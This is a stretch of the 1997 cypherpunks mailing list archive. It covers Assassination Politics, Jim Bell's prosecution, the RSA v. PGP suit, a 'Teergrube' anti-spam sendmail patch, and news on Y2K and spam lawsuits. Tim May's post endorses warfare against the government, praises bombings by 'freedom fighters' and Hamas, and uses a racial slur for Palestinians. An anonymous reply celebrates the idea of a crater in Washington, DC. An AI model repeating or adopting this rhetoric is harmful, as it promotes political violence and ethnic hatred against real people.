but Idea Futures/insurance/ABPs/(payee-anonymous) contract 
markets plus the murderous daydream junk.


That is to say, from the rigorous (technical) point of view, 
AP _IS_ Idea Futures _IS_ ABPs _IS_ contract markets _IS_ 
insurance.


TCMay has mentioned before that AP is nothing new...


If you want some scholarly exposition, write up some definitive
treatise on AP/IF/I/ABPs/CMs as such so that in the future 
crackpots who semi-independently come up with the idea won't be
able to tie it to political fantasies or other specific 
would-be-applications in the (un-)popular consciousness.


Zooko, whose prose is JYA'ifying in frustration

P.S.  Allow me to repeat in simple words:  "'ASSASSINATION 
POLITICS' IS NOTHING BUT IDEA FUTURES PLUS CRACKPOT POLITICAL 
FANTASY!"

P.P.S.  I am not a cypherpunk.  I'm only a guest!  I didn't 
know there was marijuana in the brownies, officer!  I didn't 
PGP sign this message.  Nobody saw me do it -- you can't prove
anything.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 19 Aug 1997 09:43:15 +0800
To: cypherpunks@cyberpass.net
Subject: first y2k lawsuit hits in london
Message-ID: <199708190133.SAA08670@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message


Millennium bomb: Supplier sued over cash
                   registers

                   MONDAY AUGUST 18 1997

                   By Christopher Adams in London

                   A small supermarket owner in the US is suing a cash
register supplier for
                   allegedly providing computerised tills that cannot
recognise the year 2000.

                   The lawsuit is believed to be the first of its kind.
If it is successful, it could
                   set a precedent with dangerous consequences for the
insurance industry.

                   Mark Yarsike, a supermarket owner in Detroit, is
suing Tec-America, the
                   Atlanta-based supplier of cash registers, because he
says credit cards that
                   expire after 2000 cause the tills to shut down.

                   The lawsuit has wide implications for the insurance
industry as suppliers
                   may be forced to make claims on insurance policies
covering them against
                   the failure of their products to cope with the date
change.

                   Legal experts say insurers might be inundated with
claims over the
                   so-called "millennium bomb", leaving them vulnerable
to losses that could
                   run to billions of pounds.

                   The millennium bomb is expected to cause widespread
chaos because
                   most computers recognise only the last two digits of
a year and will treat
                   dates beyond 1999 as referring to the 1900s.

                   Should litigation escalate, the cost of claims could
be inflated by damages
                   and legal fees.

                   Mr Yarsike owns three Produce Paradise supermarkets
in Detroit. He
                   says the cash registers have failed more than 150
times in two years,
                   causing chaos in his stores and losing him hundreds
of thousands of dollars.

                   Mr Yarsike says his patience with Tec-America finally
snapped two weeks
                   ago. He says that each time credit cards expiring
after 2000 cause cash
                   resisters to shut down, Tec-America comes to fix the
problem. But within
                   hours, the registers fail again.

                   "It's gotten pretty wild in here. A lot of customers
walk out upset and
                   embarrassed.

                   When the card zips through and the modem packs up,
everybody looks at
                   that one customer and says, 'Wow! What did she do?'.

                   "How would you like to have 300 people in your store
and the cash
                   registers don't work with a 10-hour day ahead of
you?"

                   Mr Yarsike wants Tec-America to put in a replacement
system. He spent
                   $150,000 on the fleet of registers for his stores and
says it would cost him
                   another $35,000 for new equipment.

                   Tec-America denied it was to blame for the shutdown
of the cash
                   registers.

                   It said responsibility lay with the credit card
industry, which was forced
                   several years ago to establish a format for swapping
data that would
                   recognise the year 2000.

                   The industry's efforts, however, were not completed
until April.


- ------- End of Forwarded Message


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 19 Aug 1997 10:37:52 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell web pages
Message-ID: <3.0.3.32.19970818193205.007f61c0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




I've got my original page with the scans of the search
warrant/affidavit/return at <http://www.parrhesia.com/jimbell/>, and a
second page collecting various links to media reports, etc., at
<http://www.parrhesia.com/jimbell/index2.html>.

The Columbian (Jim's hometown paper) has a number of articles about him and
the progress of his case at
<http://www.columbian.com/newsroom/jimbell/jimbell.html>. There are also
some miscellaneous documents that the Columbian may or may not intend to
make available to the public available at
<http://www.columbian.com/newsroom/jimbell/> (I don't think they realize
that a directory without an index document will return a directory list. :)

John Young has collected several documents re Jim, which are cataloged at
the beginning of the document at <http://www.jya.com/jimbell-dock2.htm>. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 19 Aug 1997 08:18:18 +0800
To: cypherpunks@toad.com
Subject: Grawemeyer World Order Nomination Period
Message-ID: <v031107d2b01e8c2a7b26@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



I'm sorry, but this was too funny to pass up...

Cheers,
Bob Hettinga

--- begin forwarded text


Date: Mon, 18 Aug 1997 14:49:06 -0400 (EDT)
From: RAPAYN01@ULKYVM.LOUISVILLE.EDU
Subject: Grawemeyer World Order Nomination Period
To: irtheory_list@unimelb.edu.au

                                          August 18, 1997

Dear Colleagues:

      With this note, I am making several important announcements. First,
the University of Louisville is currently accepting nominations for the 11th
annual Grawemeyer Award in Ideas Improving World Order. Administered by the
Department of Political Science, this award carries a cash prize of one-
hundred fifty thousand dollars ($150,000). Nominations for the 1998
competition must be received by October 31, 1997. The submission process is
relatively simple, nominators must complete a one page form and a nomination
letter. Self-nomination is permitted.

      Second, please also make note of the world wide web home page for the
Grawemeyer World Order Award. This location hosts some material about the
nomination and selection processes and a list of past winners and their prize
winning work. Additional information is added periodically. The address for
the web page is:

      http://www.louisville.edu/ur/onpi/grawemeyer

      Third, I will be attending the APSA meetings next week in Washington
and would be happy to meet with prospective nominees or nominators--or
those curious about the award. You might want to contact me in advance.
Please note that I will not be available on Thursday the 28th. I plan to
distribute copies of our new brochure to relevant publishers and I will
try to place additional copies in a prominent spot.

      For further information, feel free to contact me by e-mail at:
rapayn01@ulkyvm.louisville.edu; by telephone at (502) 852-3316; by fax at
(502) 852-7923; or by writing in care of the Department of Political Science,
University of Louisville, Louisville, KY, 40292.

      Alternatively, those interested might wish to contact Ms. Arlene
Brannon, who assists in the administration of the award. Her telephone number
is (502) 852-1009, her e-mail address is aabran01@ulkyvm.louisville.edu; and
she can be reached at the Departmental address and fax number listed above.

                                          Sincerely,

                                          Rodger A. Payne, Ph.D.
                                          Director
                                          Grawemeyer Award for
                                           Ideas Improving World Order

P.S. I apologize to those who receive duplicate copies of this mailing.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 19 Aug 1997 08:18:11 +0800
To: cypherpunks@toad.com
Subject: RSA v. PGP Docs
Message-ID: <1.5.4.32.19970818235203.0072c230@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've added three docs on the RSA v. PGP suit:

A June 4 Stipulation and Order to drop (postpone) a PGP 
motion to compel RSA/PGP arbitration pending arbitration 
between RSA and Caro-Kann on the rights to terminate the 
Lemcom license inherited by PGP:

   http://jya.com/rsavpgp3.htm

The arbitration was scheduled to begin June 18 but no 
documentation on its status is yet available in court files.

Two other procedural docs have been added to the
earlier package of PGP's responses to RSA at:

   http://jya.com/rsavpgp2.htm

We've created an index to the case's docs and will
make items as they arrives, which helpful parties from 
all sides have promised:

   http://jya.com/rsavpgp-files.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thorsten Fenk <t.fenk@gmx.net>
Date: Tue, 19 Aug 1997 03:58:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Picketing With Packets
In-Reply-To: <19970816212754.10722.qmail@zipcon.net>
Message-ID: <19970818200210.29899@nostromo.ino.de>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713723.multipart/signed"

--Boundary..3980.1071713723.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Bill Stewart (stewarts@ix.netcom.com) wrote :

>(...)
> However, that doesn't really block the spammers who buy a list of
> N million targets and send spam out from their own machines,
> though shutting down Spamford and Harris Marketing would help,
> and would cut down the sales of the lists.

Hi,
ever thougt about a "Teergrube" ?

It's a Patch for sendmail (and smail AFAIR).
It works as follows:
sendmail Messages normally look like this

250 nostromo.ino.de Hello fenkt@localhost [127.0.0.1], pleased to meet you

(Numbercode <Space> Human readable Text)

A Minus Sign instead of the <Space> means, that sendmail waits for the 
current receive to finish.
If such messages appear, say every minute, the Connection stays open for
several hours, without a Timeout from the remote host.

A Teergrube controls a therefor prepared MTA to produce such 
messages; depending on an predefined list of IP Numbers.
It doesn't block all mail from the site; it just makes Bulk (maximal
Amount in shortest possible Time) mail very difficult. A single User
from that site can still send mail to your site, the only thing is
the increased amount of time for delivery.
This is opposite to blocking sites (sendmail 8.8.5 *Scheckrules ); which
is just a self-defense, but not a Solution against UBE.

If you want to try it:
ftp://nutsy.han.de/pub/sendmail/

regards
Thorsten


--Boundary..3980.1071713723.multipart/signed
Content-Type: application/octet-stream; name="pgp00002.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00002.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjNp
CgppUUVWQXdVQk0vaU9JUmh1dEtWSnZiTTlBUUdtREFmL1d2L2NJZm9wUXh1
a2thUkIvNFREdGplTUMwQTJ3ZjJSCmlsM3NKaGxWUzY4allZcEF3L2NzWFJn
UFFiU0ZrRlo5L05RWFJXQzNHRngzR3czYmQ3OGJvQW83YVY5OE9yMGwKeVdt
OGpDeU12ZG1EQkRiN2N3L3lVSnhpaUFJMTk2TFRlYU5LODhVTWpZbXRxUFRi
NHFqL2NCd1k3ZFdzbzhuMwpFVWJEQlFHUnY5RTZsV1RhTTM3QlY1NDMyTVFU
Mmh0cUsrNi9LVHRadjUzVHdCVVlGaTEwbGhUa1duWXlrNjExCkUweFU3NTY0
SytWRDVnRFlZUStjcXVmdDk5aGJ1a3JGeG1xdklSZ09XVFhIYkNxNGgvWDBu
OEwxaTUxdmhBYlcKYUtBVW1DVlFJd3VUbVYxL2ZvcHFDME9kSmtLMDZnLzVq
Y1JHT0JReHNTNDUvVFVvSWsvLzFRPT0KPTBwK3MKLS0tLS1FTkQgUEdQIFNJ
R05BVFVSRS0tLS0tCg==
--Boundary..3980.1071713723.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 19 Aug 1997 08:17:53 +0800
To: cypherpunks@cyberpass.net
Subject: TestTest
Message-ID: <B8PyTy1SHd9MkZcxxqt93g==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Test






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 19 Aug 1997 08:39:09 +0800
To: cypherpunks@toad.com
Subject: Re: Grawemeyer World Order Nomination Period
In-Reply-To: <v031107d2b01e8c2a7b26@[139.167.130.248]>
Message-ID: <mDqNBe6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:

> I'm sorry, but this was too funny to pass up...
...
>       With this note, I am making several important announcements. First,
> the University of Louisville is currently accepting nominations for the 11th
> annual Grawemeyer Award in Ideas Improving World Order.

I nominate Jim Bell.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 19 Aug 1997 11:57:35 +0800
To: Zooko Journeyman <cypherpunks@toad.com
Subject: Cypherpunks as a Terrorist Organization
In-Reply-To: <199708181919.VAA19973@xs2.xs4all.nl>
Message-ID: <v03102800b01eb9677bb3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:19 PM -0700 8/18/97, Zooko Journeyman wrote:

>P.P.S.  No really-- I'm _not_ a cypherpunk, because cypherpunks
>appear to be overwhelmed with blind, self-destructive
>bloodlust since 1996 or so.  I'm just here to try talking some
>sense into the salvageable ones.

Yes, "B.", so you keep saying.

Fact is, many who remain on the list are reacting to government actions
which are far more "intense" than what we had seen in the 1992-4 period.
Things like the doublespeak of "mandatory voluntary" programs, the probable
illegalization of tools to protect communications, and the "New World
Order" machinations. (These being the behind the scenes pressures being
applied to European and Asian governments, vis-a-vis Wasenaar, OECD, the
secret meetings, the Orwellian language the governments are adopting to
describe "trusted third parties (who actually provide keys to the
authorities without telling the customer)," etc.)

Not to mention the "felonization" of increasing numbers of things. Physical
things that were bought fully legally are now "contraband." Except to cops,
who are buying them in ever-increasing amounts. The sheeple, though, cannot
be trusted to own the things the cops own freely. And I'm talking about
more than just "compliance tools" (aka toilet plungers).

As to us being more violent, I think this is utter bullshit, "B." Read the
archived traffic of the list in the period surrounding the burning of the
illegal religion in Waco, Texas. Or the traffic after a wife and son were
killed by the cop criminal Lon Horiuchi (whom some militia members have
placed a bounty on...the Feds have apparently placed this killer into the
Witness Security Program, run, ironically, by the same U.S. Marshal's
Service now in charge of Jim Bell's detention!)

I think you, "B.," have just gotten a lot more nervous that what many of us
are advocating is in fact warfare against the State. I get e-mail from
folks who were once active on the Cypherpunks list saying, in various ways,
that they can no longer be as visible about their participation in the
list, for multiple reasons.

First, the rise of search engines, archives, and employers routinely
running DejaNews and other search engine checks on potential employees and
consultants to see what sorts of folks they are. (Whether being active on
the Cypherpunks list will nix a job is pretty unlikely, but it's still a
worry to some.)

Second, the apparent state of war between Cypherpunks and governments.
After recent actions by freedom fighters to bomb stooge facilities,
governments are treating "militias" as quasi-criminal organizations. (There
are many nuances to this point. In the U.S., I don't think such
organizations have been outlawed, as the Constitution remains a protection
of sorts. But many have been investigated, and, as John Young noted
recently, the IRS treats membership in certain organizations as a threat.
And there is Clinton's Anti-Terrorism Act, which explicitly makes certain
kinds of financial and other activities illegal, even by Americans, which
involve support of "terrorist" organizations. It is not inconceivable that,
following outlawing of strong crypto in various countries, that the
Cypherpunks group gets classified as an organization or group which
supports terrorist goals, which is almost certainly true.)

Third, some of those who make the most extreme calls for the killing of
Feds, the bombing of government operations in various nations, etc., are
using remailers. Isn't this exactly what remailers are likely to be used
for?

Fourth, the arrest and prosecution of Jim Bell, with tax evasion and a
minor stink bomb case turned into a "federal case" because of his
controversial views. This has obviously angered and radicalized many. Some
of us have stocked up on more asault weapons and shotguns, placed alarms
around our property, and we are expecting a "raid." As I have said, if
black-clad ninja raiders try to hit me, I'll assume they're "home invaders"
and will open fire. (A Sheriff's Deputy once told me that even saying I
would defend my home against unwelcome intruders constituted a "threat" and
that he might order a detachment to visit my compound. So far, two years
later, he hasn't made good on _his_ threat. And now I'm more ready for him
than ever.)

Fifth, the censorship fiasco  on the list angered many of us. After it
ended, many of us were no longer quite as willing to be "helpful." I, for
example, no longer write _any_ introductory essays, nor do I waste my time
encouraging people not to be too flamism. I used to occasionally do this,
filling a kind of "elder statesmen" or "eminence grise" role, as some
others expressed it. No more. If my posts were being censored, which they
were, then the removal of censorship caused me--and apparently others--to
"call a spade a spade." So when "DeathMonger" calls for the killing of
Feds, who am I to suggest this discussion be squelched? Forcible
censorship, once tried, often makes it effectively impossible for _any_
kind of guidance or advice along these lines. (This is an utterly
predictable outcome of attempts to censor.)

Finally, and to recap some of these points, when the Cypherpunks list and
group first started, many did not take the "collapse of government"
promises too seriously. Now, with even Louis Freeh and Janet Reno saying
that strong crypto represents a major and urgent threat to governments
(they call it "law enforcement" and "tax collection," and also talk about
threats of unregulated gambling, unregulated access to medical data,
uncontrolled communication between cult members, and so on), it seems that
the dangers of crypto anarchy are being more widely trumpeted.

This has the effect of making what we actually say here seem more
"plausibly scary." I don't know if this is why some are avoiding the list
now, or for other reasons (the list has never full recovered from the
censorship fiasco

So, "B.," stop apologizing for reading the list. You're already a marked
man in their eyes...and search engines can already identify the True Name
who is posting the last year or two as "Zooko Journeyman." In a couple of
years, all search engines will have "known aliases" macros to automatically
ferret out the web of pseudonyms linkable to a poster. You can run, but you
can't hide.

And "democracy" is spinning out of control, being used by authoritarians to
convert the world into a security state. Restrictions on travel, new drug
laws, laws against images and words on the Net, and thousands of new laws
every years.

A frontal assault, using strong crypto to aid in the attacks by freedom
fighters and to destablize authority, makes more sense. When a government
official decrees that citizen-units may no longer do certain things which
were once quite legal and quite common (such as owning a gun for defense),
that official must expect certain repercussions.

We're in a state of war with the statists and tyrants. It's what Jefferson
and the other Founders expected to happen, and now the watering with the
blood of patriots and tyrants is happening.

It's what the Founders expected.  Get used to it.

If crypto anonymity tools were available to the Founders, they'd have used
them against the British. Likewise, strong crypto is already being used by
the freedom fighters in Palestine against the Zionist Occupation
Government. That PGP 5.0 is being used by Hamas should send chills through
the ZOG in Jerusalem, and is probably why Cypherpunks is about to be
classed as a "terrorist group."

(What happened to the Jews in WW II was terrible, of course, but that was
no excused for forcibly evicting vast numbers of "sand niggers" so as to
make room for Jewish settlers. Their sons and grandsons will now end up
paying the price, as freedom fighters drive them into the sea. Broken eggs
and all.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 19 Aug 1997 08:58:31 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <UmrT+kQAcfXB9+ro90BP2w==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 12:26 AM 8/19/97 +0100, you wrote:
>Cypherpunks are individuals.

No shit.

>Pick 10 cypherpunks, you'll get 10 different views.

Well, that may be a no shitter.

>Don't see the need to disclaim non-cypherpunk status due to
>`bloodlust'...  Are you anticipating that the list readership will be
>collectively locked up for non-government approved thoughts?

They're not taking my ass alive, or at all.

>Are you sure that having a 10 mile crater where there used to be a
>bunch of power-crazed beaurocrats wouldn't be a net improvement :-)?

It would truly be a day to celebrate.

>It's not as if anyone is planning to nuke them anyway, it's just
>invective.  There might be some danger of some of us writing a bit of
>crypto code, or saying some negative things about politicians.  No
>laws against either of those (yet).

Just wait until they can read thoughts.  Man, that'll be a sight to see.

>A lot of the systematic torture, intimidation, carried out by 3rd
>world dictatorships is done at the hands of CIA trained government
>employees.

Well, since they can't read thoughts yet, that's the best way.

It would be a day to celebrate loudly if someone put a crater in DC.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 19 Aug 1997 09:29:50 +0800
To: cypherpunks@toad.com
Subject: Re: Picketing With Packets
In-Reply-To: <97Aug18.160626edt.32257@brickwall.ceddec.com>
Message-ID: <68RNBe10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nospam-seesignature@ceddec.com writes:

> On Sun, 17 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Observation 1: it's much easier to get ON their junk mail list
> > then to get OFF of it.
>
> There are two lists, or more properly one list - the remove list.  The
> "ON" list is whatever cyberbomber or emailblaster, etc. generates.

It's interesting to note that thir very popular address
harvesting program was posted for free by the guy who sells an
e-mail filtering program.

> They are supposed to run the outbound mail through the remove list filter.
> And take action against anyone who doesn't.

I put a lot of bwalk mailboxes on the iemmc's off list, and I still
get a lot of shit in those mailboxes, stating in the header
'x-ad: see iemmc for removal instructions". Fucking liars.

> > Observation 2: if you enter the same userid several times, you
> > get several different numbers in the mail; all of them work
> > (not just the latest)
>
> All returned numbers give the same effect.  One day that changed from "The
> token you entered was invalid, try again or restart with your name" to
> "That user id removal is already in progress - please try again in 24
> hours".

That must be a recent development. I broke my Web browser and
can't look t it. [If I had realized what a buggy piece of shit NT
is, I would have kept OS/2 on bwalk and installed NT on another
box. :-( . Learn from my mistakes folks - NT sucks, OS/2 rulez.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 19 Aug 1997 08:47:06 +0800
To: cypherpunks@Algebra.COM
Subject: 3.html
Message-ID: <199708190052.UAA14661@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1]SIDEBAR 
   
                          [2]Newsbytes Advertising
                                      
China Internet Roaming Hit By Clampdown

   ****China Internet Roaming Hit By Clampdown 08/18/97 HONG KONG, CHINA,
   1997 AUG 18 (NB) -- By Neil Taylor, IT Daily. Business travelers in
   China have had their Internet access hit by severe restrictions placed
   on roaming services by authorities.
   
   The trouble began a month ago, after officials began examining access
   services provided by Equant, a division of international airline
   network service provider SITA.
   
   Sources within SITA were unable to confirm the precise circumstances,
   but it appears that officials from within China's Posts Telephone and
   Telegraphs administration were unhappy with the fact that the company
   was reselling access to third parties including iPass, CompuServe and
   America Online.
   
   As a result, Equant was forced to suspend much of its non-airline
   business, including Internet roaming services. "We had to basically
   cut back on non-airline users, so this could be a case of our having
   to cut off some of the dead wood to save the airline side," a SITA
   executive admitted.
   
   "Our relationship with China is kind of up and down. It's not with the
   government; we get along with them fine; it's with the local PTTs," he
   added.
   
   The restrictions meant that iPass lost its points of presence (POPs)
   in Guangzhou, Tianjin, Shanghai and Xiamen. Following the closures,
   iPass also suspended POPs in Brunei, Cuba, French Polynesia, India,
   Burma, Saudi Arabia, Thailand and Vietnam.
   
   Among iPass partners affected by the clampdown, Hong Kong ISPs are
   likely to be worst affected. But Abel Lau, president of Hong Kong ISP
   I-Wave, said his company had not been badly hit by the problem.
   
   "We do not have many users in China, and they've been using access in
   Beijing, so we haven't had many problems." I-Wave estimates that
   "maybe one percent" of its members use iPass roaming services in
   China.
   
   Chris Moore, president and CEO of iPass, said his company would soon
   announce solutions for affected customers. "We are actively working on
   expanding our access in China," he said." We have several access
   points in Beijing and anticipate coverage in Shanghai, southern China
   and other parts of the country very soon."
   
   "We know China is a very important market," Moore told Newsbytes. "We
   were working with providers there before this situation arose. We have
   always been committed to that market and want to develop strong and
   lasting relationships with the right organizations. Our relationship
   with Equant (SITA) remains strong, this is an issue we worked closely
   on."
   
   (19970819/ Reported By Newsbytes News Network:
   [3]http://www.newsbytes.com /CHINASCREEN/PHOTO)
   
   [4]Copyright (c)Newsbytes News Network. All rightsreserved. For more
   Newsbytes see http://www.newsbytes.com.
   
         [5]Home | [6]Daily | [7]Weekly | [8]Publishers | [9]Search

References

   1. http://www.newsbytes.com/menus/navbar.map
   2. http://www.newsbytes.com/OAS/rm/try-it.cgi/www.newsbytes.com/home.html
   3. http://www.newsbytes.com/
   4. http://www.nbnn.com/copyrght.html
   5. http://www.nbnn.com/home.html
   6. http://www.nbnn.com/news/s_daily.html
   7. http://www.nbnn.com/news/s_week.html
   8. http://www.nbnn.com/publishers/publi_1.html
   9. http://www.nbnn.com/html_p/search.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 19 Aug 1997 08:45:39 +0800
To: cypherpunks@Algebra.COM
Subject: SL33spam2
Message-ID: <199708190053.UAA14669@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




                                 [1][LINK]
                                      
      [2]index [3]home [4]News [5]audio [6]search [7]help [8]techcity
                               computerworld
                                      
                   Spam attacks send angry firms to court
                       Stewart Deck and Matt Hamblen
                                  08/18/97
        Internet spam is no longer a joke to angry businesses. They
    increasingly are fighting back with civil and criminal lawsuits and
    offering rewards for information leading to arrests. In some cases,
                 users are even trying chargeback tactics.
                                      
    Driving the get-tough attitude is mounting frustration over crippled
      and lost business because of overloaded electronic-mail servers,
   trademark infringement and the nefarious combination of return address
       impersonation known as spoofing and blasts of spamming E-mail
        advertisements. Faced in some instances with death threats,
    exasperated and angry World Wide Web site administrators are trying
    anything and everything including offering bounties for the names of
           spammers and risking online vendettas in the process.
                                      
                               IMAGE AT STAKE
                                      
       Particularly vulnerable to spamming which some observers call
    ``Internet terrorism'' is a company's image, which businesses spend
            untold dollars building, maintaining and protecting.
                                      
    One high-profile example is Samsung America, Inc.'s nightmare, which
   began July 19 when a fake advertisement blasted across the Internet to
   millions of electronic mailboxes. The angry replies caught Samsung by
               surprise it hadn't sent out the advertisement.
                                      
        Other messages bearing Samsung's return address have swamped
     unsuspecting mailboxes since then, including a missive purportedly
        from a Samsung attorney claiming ``fraudulent and actionable
   transgressions'' on the recipient's part. Two of Samsung's Web-hosted
    clients La Costa Resorts and Big Dog Sportswear also had suggestive
       and misleading advertising messages sent out with their names
       attached. They, in turn, have been inundated with complaints.
                                      
    Samsung has been so hard hit getting 6,000 to 10,000 E-mail messages
     per day and hundreds of telephone calls worldwide that the FBI is
   looking into the matter. Samsung has spent millions of dollars on its
          brand image and desperately wants the spamming to stop.
                                      
   ``We assume whoever is doing this buys lists of E-mail addresses from
   someone,'' said Sang Cho, Samsung's in-house counsel, in an interview
   with Computerworld. But the company doesn't know why or who holds the
       grudge. It intends to file civil and criminal charges when the
                          perpetrator is unmasked.
                                      
      Fake ads are the latest twist in spoofing and spamming. The Dr.
   Seussian terms describe an underhanded sneak attack that tries to get
        ads in front of as many unsuspecting eyeballs as possible by
      impersonating a responsible sender. For example, Strong Capital
     Management, Inc., a financial services company in Menomonee Falls,
   Wis., is suing a spammer for allegedly stealing its address, thinking
    that recipients would be more likely to open mail from a prestigious
       firm than an ordinary Internet marketer. Such mail is hated by
          recipients and is a bane of Internet service providers.
                                      
                               FIGHTING BACK
                                      
   But now the impersonated legions are beginning to fight back. Although
   there are no results in any of these cases yet, here is a sampling of
            businesses going on the offensive with their beefs:
                                      
   Two operators at SFF Net, a commercial online service used by science
    fiction and fantasy writers, have filed suit in Kings County, N.Y.,
     against Carlos Lattin for sending out spamming E-mails with their
   forged return addresses. Their lawsuit claims trademark infringement,
    unfair competition, defamation and false designation of origin. The
      plaintiffs used New York laws to make the alleged impersonator's
              Internet service provider divulge Lattins name.
                                      
    A novice junk mailer was sued in May by an online floral information
    service run by Tracy LaQuey Parker, an Internet author and education
    market development manager at Cisco Systems, Inc. Parker opened the
    site's electronic mailbox one morning in March and saw what Samsung,
   La Costa and SFF Net have experienced: an avalanche of returned E-mail
    and angry letters. ``I was shocked by the onslaught,'' Parker said.
                                      
    Jon Tara, operator of San Diego's Live.Net site, has experienced the
      same problem, but he hasn't been able to track down the spoofing
      impersonator. He is offering a $100 reward for positive personal
   identification of the spoofer. A message on the site from Tara to the
    spamming perpetrator says, ``I am going to hound you to the ends of
    the earth once I find out who you are. You will regret having used a
    Live.Net return address. If you are lucky, I will never find out who
    you are. If you are unlucky, I will. It will be the worst luck that
     you've ever had.'' Tara has fought with a service provider who has
     stopped shutting down spammers and wont provide Tara with identity
    information, claiming privacy requirements. The provider has called
                      Taras bounty offer vigilantism.
                                      
     In February, Matthew Seidl, a Colorado University computer science
     student, filed a lawsuit against Greentree Mortgage and an unnamed
    bulk E-mailer for allegedly sending out a batch of spam with Seidl's
   ``nobody@localhost.com'' address in the From and Return-Path headers.
                                      
    Seidl said in an Internet posting that he decided to take ``whatever
   legal actions we have to take to restore our good name and recover the
   damages we suffered. We are doing our part to put an end to this type
                              of net abuse.''
                                      
                              UNLIMITED ACCESS
                                      
    Such attacks are difficult to deal with, said Nina Burns, an analyst
   at Creative Networks, Inc. in Palo Alto, Calif. ``Wackos have so much
    access to information that it becomes scary for an individual,'' she
     said. ``But until authentication and digital signature technology
         become more widespread, I'm not sure what the answer is.''
                                      
    ``We need some sort of digital Caller ID,'' said Jonathan Wheat, an
   analyst at the National Computer Security Association in Carlisle, Pa.
          Until then, Wheat said, this may be the price we pay for
                   ever-increasing Internet connectivity.
     _________________________________________________________________
                                      
                            See related stories:
     * [9]Service providers won't release names
     * [10]Internet providers fight back against spammers
       
   [11]index [12]home [13]News [14]audio [15]search [16]help [17]techcity
                               computerworld
                                      
                                 [18][LINK]
                                      
   Copyright (c) 1997 @Computerworld. All rights reserved. Reproduction in
     whole or in part in any form or medium without express [19]written
       permission of @Computerworld is prohibited. Computerworld and
         @Computerworld and the respective logos are trademarks of
                            Computerworld, Inc.

References

   1. http://ads01.focalink.com/SmartBanner/page/9.1.3.1-290
   2. http://www.computerworld.com/home/toc.html
   3. http://www.computerworld.com/index.html
   4. http://www.computerworld.com/news/index.html
   5. http://www.computerworld.com/realaudio/index.html
   6. http://cwlive.cw.com:8080/home/search.nsf/FtFieldSearch?OpenForm
   7. http://www.computerworld.com/help/index.html
   8. http://www.computerworld.com/techcity/index.html
   9. http://cwlive.cw.com:8080/home/print9497.nsf/31a3dd8c957f7b92852564b8006f7278/5f477c29d347b2ad852564f7004090df?OpenDocument
  10. http://cwlive.cw.com:8080/home/print9497.nsf/31a3dd8c957f7b92852564b8006f7278/29bda244c62754ed852564f7004090f1?OpenDocument
  11. http://www.computerworld.com/home/toc.html
  12. http://www.computerworld.com/index.html
